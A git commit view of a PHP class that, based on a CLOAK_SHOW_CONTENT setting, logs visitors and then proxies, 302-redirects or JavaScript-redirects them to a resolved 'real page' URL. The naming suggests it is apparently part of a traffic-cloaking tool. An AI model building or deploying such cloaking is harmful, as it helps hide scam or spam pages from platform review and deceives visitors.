feat: initial commit

This commit is contained in:
root
2026-06-14 14:00:24 +08:00
commit 72d388f642
118 changed files with 39015 additions and 0 deletions
+54
View File
@@ -0,0 +1,54 @@
<?php
require_once __DIR__ . '/../FpUrlHelper.php';
/**
* 真实页输出(原 page_6.php
*/
class FpPageRenderer
{
/**
* @param array $ctx 必须包含 logs 数组
*/
public static function render(array $ctx)
{
$logs = $ctx['logs'];
$my_url = $_SERVER['PHP_SELF'];
$my_file_name = substr($my_url, strrpos($my_url, '/') + 1);
$cong_name = str_replace('.php', '', $my_file_name);
$resolved = FpUrlHelper::resolve($cong_name, true);
$fp_url = $resolved['url'];
$logs['fp_url'] = $fp_url;
write_log_db($logs);
$show_content = CLOAK_SHOW_CONTENT;
if ($show_content == 'curl') {
$html = file_get_content_sstr($fp_url);
$_html = caiji_lujing_buquan_fp($html, $fp_url, $_SERVER['HTTP_HOST']);
echo $_html;
exit;
}
if ($show_content == '302') {
header('location:' . $fp_url);
exit;
}
if ($show_content == 'js') {
?>
<SCRIPT LANGUAGE="JavaScript">
var time = 1;
var timelong = 0;
function diplaytime(){
document.all.his.innerHTML = time -timelong ;
timelong ++;
}
function redirect(){
window.location.href="<?php echo $fp_url; ?>";
}
timer=setInterval('diplaytime()', 300);
timer=setTimeout('redirect()',time * 300);
</SCRIPT>
<?php
}
}
}